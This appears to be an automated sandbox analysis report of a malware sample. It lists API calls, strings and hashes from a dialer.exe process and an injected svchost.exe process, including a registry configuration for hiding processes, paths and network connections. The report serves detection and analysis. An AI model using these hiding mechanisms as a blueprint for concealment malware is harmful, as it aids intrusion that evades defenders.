Opcode Fuzzy Hash: 87217a8e6000bbfc0c2be15322c96d6386af0d1a3f2dc2985034ce914cf2b36b
Instruction Fuzzy Hash: 6751F6B1615A4485FB66EF27F9543EA27A2B78D7C0F449025FB8D873B1DE38C5998300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140006C1C,0000000140006C1C,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140006C1C,0000000140006C1C,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140006C1C,0000000140006C1C,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
Address %p has no image-section, xrefs: 0000000140001CF4
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: b1b7e208cbfd982792d29b849ac8fe48206c6b00b3f65009bf975a8b8e4bd385
Instruction ID: b4b871632bc00ec96096dee12abb5cd58094b498594b1af434097fef9d7194fa
Opcode Fuzzy Hash: b1b7e208cbfd982792d29b849ac8fe48206c6b00b3f65009bf975a8b8e4bd385
Instruction Fuzzy Hash: 794121F1200A4582FA66DF57F884BE927A1F78DBC4F554126AF0A877B1DA38C58AC700

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 56409736d05acbafabb28bd6c98cf49f7b900e7b0d0542129dea5e3438686952
Instruction ID: 1b2f857d1c11c80ccd1669c0cda9419b2295ebfa2ed7f8f5e033496b962d3f42
Opcode Fuzzy Hash: 56409736d05acbafabb28bd6c98cf49f7b900e7b0d0542129dea5e3438686952
Instruction Fuzzy Hash: 4B21E3B0215A1192FA2BDB53FD443E823A5BB2DBD0F444021FF5A57AB4DF78C9868700

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: fce7a999a73daaf90da284007033cb31bb16023eced34f6d8ea2430d44c4fd8d
Instruction ID: 2dbda8d1ddc0485651b81983135d47e8c896bf154ac445d1c6925c92dfcdf9b7
Opcode Fuzzy Hash: fce7a999a73daaf90da284007033cb31bb16023eced34f6d8ea2430d44c4fd8d
Instruction Fuzzy Hash: EB2159B2A0150642FA77DA2BB5943FA1182ABCD7E4F258535BF19473F9DE3C88828241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B
Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 4d568077bf3a6511ed5fd5d2384f2baeebd9958c330e4c2709e1f785095984e7
Instruction ID: f48d0573b98199f2793b136c5a8b456db72710f94d6882f512d3c02bcf328a4a
Opcode Fuzzy Hash: 4d568077bf3a6511ed5fd5d2384f2baeebd9958c330e4c2709e1f785095984e7
Instruction Fuzzy Hash: 565126B2710A44D6EB22CF67F8407E92762B75DBE8F448221EB19177B4CB38C586C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: b6079dff3363becc83fcef3a4e1204cf29f8e4fe9715082ae6ac4d4aca271860
Instruction ID: 69d9501a9c47ad2fd874abcaf6ee1dfba6e3584fb722d73cc25c0902850ad717
Opcode Fuzzy Hash: b6079dff3363becc83fcef3a4e1204cf29f8e4fe9715082ae6ac4d4aca271860
Instruction Fuzzy Hash: 44F09671614A8482E612EB76F9413ED6361E75D7C1F54D211FF4D67662DF38D282C300

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 0000002C.00000002.3359695031.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3359312979.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360110135.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360496076.0000000140008000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3360882007.0000000140009000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 3a459fcdbc80fe9b62440a1f38410dc30506dfee9ca17ef21d3eb494726ce865
Instruction ID: da2fa759d30cdf420d52835b0a571db0c3b1a4c0d2d073a37084aed344a210a8
Opcode Fuzzy Hash: 3a459fcdbc80fe9b62440a1f38410dc30506dfee9ca17ef21d3eb494726ce865
Instruction Fuzzy Hash: A001AFB5205A1192FA2BDB63FE043E86265BB2CBD1F454021EF1957BB4DF78C9968300

Analysis Process: dialer.exePID: 528, Parent PID: 7064COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001408460F0 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000000014084621A
GetProcAddressForCaller.KERNELBASE ref: 0000000140846244
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 00000001408462C9
VirtualProtect.KERNELBASE ref: 00000001408462E7

Memory Dump Source

Source File: 0000002D.00000002.3359712073.0000000140840000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.3359354811.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3359712073.00000001404DC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3359712073.0000000140500000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3359712073.0000000140503000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3359712073.000000014078B000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3359712073.000000014080D000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.3369758146.0000000140847000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction ID: 1d24a93eb9004fb9ff5f788f669610d725ede0fbeb3cf7fc7a03e9414d8a6cfe
Opcode Fuzzy Hash: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction Fuzzy Hash: FE611A32F4026255EB274BB6AF843E87751931D7B4F49433DCB79423E6FA7488668B02

Analysis Process: svchost.exePID: 444, Parent PID: 7120COMMON

Executed Functions

Function 00000257E10A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1633
HeapAlloc.KERNEL32 ref: 00000257E10A1642

Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A126E
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A127D
Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A1297
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A12A8

RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
RegCloseKey.ADVAPI32 ref: 00000257E10A1734
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
RegCloseKey.ADVAPI32 ref: 00000257E10A176F
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA
RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
RegCloseKey.ADVAPI32 ref: 00000257E10A1820
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
RegCloseKey.ADVAPI32 ref: 00000257E10A185B
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
RegCloseKey.ADVAPI32 ref: 00000257E10A1896
RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Part of subcall function 00000257E10A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A1327
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A1338
Part of subcall function 00000257E10A12BC: RegEnumValueW.ADVAPI32 ref: 00000257E10A1397
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A13ED
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A140A
Part of subcall function 00000257E10A12BC: HeapFree.KERNEL32 ref: 00000257E10A1418
Part of subcall function 00000257E10A12BC: lstrlenW.KERNEL32 ref: 00000257E10A1421
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A142F
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A143D

Strings

pid, xrefs: 00000257E10A1712
tcp_local, xrefs: 00000257E10A17FE
udp, xrefs: 00000257E10A1874
startup, xrefs: 00000257E10A16D5
service_names, xrefs: 00000257E10A17C3
process_names, xrefs: 00000257E10A174D
paths, xrefs: 00000257E10A1788
tcp_remote, xrefs: 00000257E10A1839
SOFTWARE\dialerconfig, xrefs: 00000257E10A1692

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 16feaae96375266c24b17968b5a080657b5ae57e6ff703aba3d68dcbcffacad4
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 2F711736358F1486EB15DF22FC5BB9963B4FB88B8AF001561EA4E47A68DF38C444C358

Function 00000257E10A328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000257E10A32AE
PathFindFileNameW.SHLWAPI ref: 00000257E10A32BD

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

Part of subcall function 00000257E10A3790: GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

CreateThread.KERNEL32 ref: 00000257E10A330B

Part of subcall function 00000257E10A1D14: GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: aade9cdc764c3959dde9a52c1c94ad6719753b48d41f7c1d1db878778cbbdd05
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A411F93269CF008AFB6EA761FC0F79E2294B7A4347F4081A5D906496D0EF7CC044C62C

Function 00000257E10A1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000257E10A1628: GetProcessHeap.KERNEL32 ref: 00000257E10A1633
Part of subcall function 00000257E10A1628: HeapAlloc.KERNEL32 ref: 00000257E10A1642
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1734
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A176F
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA

Sleep.KERNEL32 ref: 00000257E10A1AD7
SleepEx.KERNELBASE ref: 00000257E10A1ADD

Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1820
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A185B
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1896
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: d712d7bd41ce4f32cb42d1788969e2e1ab98e8c502d066c5c5fdd1db537eb6f4
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 9F31F871298F4582FF5E9726FE4B3E923A4AB44BC2F0858615E0987695FF34C451C228

Function 00000257E107273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000257E107285E

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: e1821c6af69327561f239fb501c7fdcfb84665abf8bb743926d129d5342e2f1a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 4E617572B49B9087DB5AEF14E80B73DB3A2F744BE5F188161DE4903788CA78D852C704

Non-executed Functions

Function 00000257E10A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000257E10A2BD0
lstrlenW.KERNEL32 ref: 00000257E10A2E0A

Part of subcall function 00000257E10A199C: OpenProcess.KERNEL32 ref: 00000257E10A19C2
Part of subcall function 00000257E10A199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
Part of subcall function 00000257E10A199C: PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
Part of subcall function 00000257E10A199C: lstrlenW.KERNEL32 ref: 00000257E10A19FB
Part of subcall function 00000257E10A199C: StrCpyW.SHLWAPI ref: 00000257E10A1A0E
Part of subcall function 00000257E10A199C: CloseHandle.KERNEL32 ref: 00000257E10A1A1C

GetProcAddress.KERNEL32 ref: 00000257E10A2BE5

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

StrCmpNIW.SHLWAPI ref: 00000257E10A2C28
lstrlenW.KERNEL32 ref: 00000257E10A2D50

Strings

\Device\Nsi, xrefs: 00000257E10A2C1B
NtQueryObject, xrefs: 00000257E10A2BDB
ntdll.dll, xrefs: 00000257E10A2BC9

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: a05134c9a34ff4c1d66afd38e5ef54d71b3b96099cc726008d15654598d14383
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 3BB1D032258F5482EB6EDF25EC4B7A963A5F744B86F0450A6EE0953B95DF34CC80C398

Function 00000257E10A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000257E10A7DAC
RtlCaptureContext.NTDLL ref: 00000257E10A7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000257E10A7DF3
RtlVirtualUnwind.NTDLL ref: 00000257E10A7E34
IsDebuggerPresent.KERNEL32 ref: 00000257E10A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EB4

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 219ced55679ac893985f66a80f0dbd7178f5651cf27174fbf386b8ec505e6a56
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 29314A72249F808AEB65DF60F8867EE7360F784745F44802ADA4E57B98EF38C648C714

Function 00000257E10AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000257E10AD31D
RtlLookupFunctionEntry.NTDLL ref: 00000257E10AD335
RtlVirtualUnwind.NTDLL ref: 00000257E10AD370
IsDebuggerPresent.KERNEL32 ref: 00000257E10AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3BE

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 3bbfa850ad8dbd0e4a6fa2243018912ee9c80721fc4e2599e2c74e45bb328308
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 1531AD32258F8086EB69CF25FC467AE73A0F789755F504166EA9D43B98EF38C145CB04

Function 00000257E10A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
GetProcessHeap.KERNEL32 ref: 00000257E10A1327
HeapAlloc.KERNEL32 ref: 00000257E10A1338
RegEnumValueW.ADVAPI32 ref: 00000257E10A1397

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
HeapAlloc.KERNEL32 ref: 00000257E10A13ED
GetProcessHeap.KERNEL32 ref: 00000257E10A140A
HeapFree.KERNEL32 ref: 00000257E10A1418
lstrlenW.KERNEL32 ref: 00000257E10A1421
GetProcessHeap.KERNEL32 ref: 00000257E10A142F
HeapAlloc.KERNEL32 ref: 00000257E10A143D
StrCpyW.SHLWAPI ref: 00000257E10A145F
GetProcessHeap.KERNEL32 ref: 00000257E10A1476
HeapFree.KERNEL32 ref: 00000257E10A1484

Strings

d, xrefs: 00000257E10A135A

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eced55502f1a75a026b6edf846e6a0891afcc2511a2fde73ec7a25957e053ce4
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 39517C32248F8486EB59CF66F84A75A77A1F389F8AF088524DE5907718DF3CC049C704

Function 00000257E10A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Part of subcall function 00000257E10A1FD4: GetModuleHandleA.KERNEL32 ref: 00000257E10A1FEC
Part of subcall function 00000257E10A1FD4: GetProcAddress.KERNEL32 ref: 00000257E10A1FFD

Part of subcall function 00000257E10A5B30: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B

Strings

NtEnumerateValueKey, xrefs: 00000257E10A1DD6
NtQueryDirectoryFileEx, xrefs: 00000257E10A1D9C
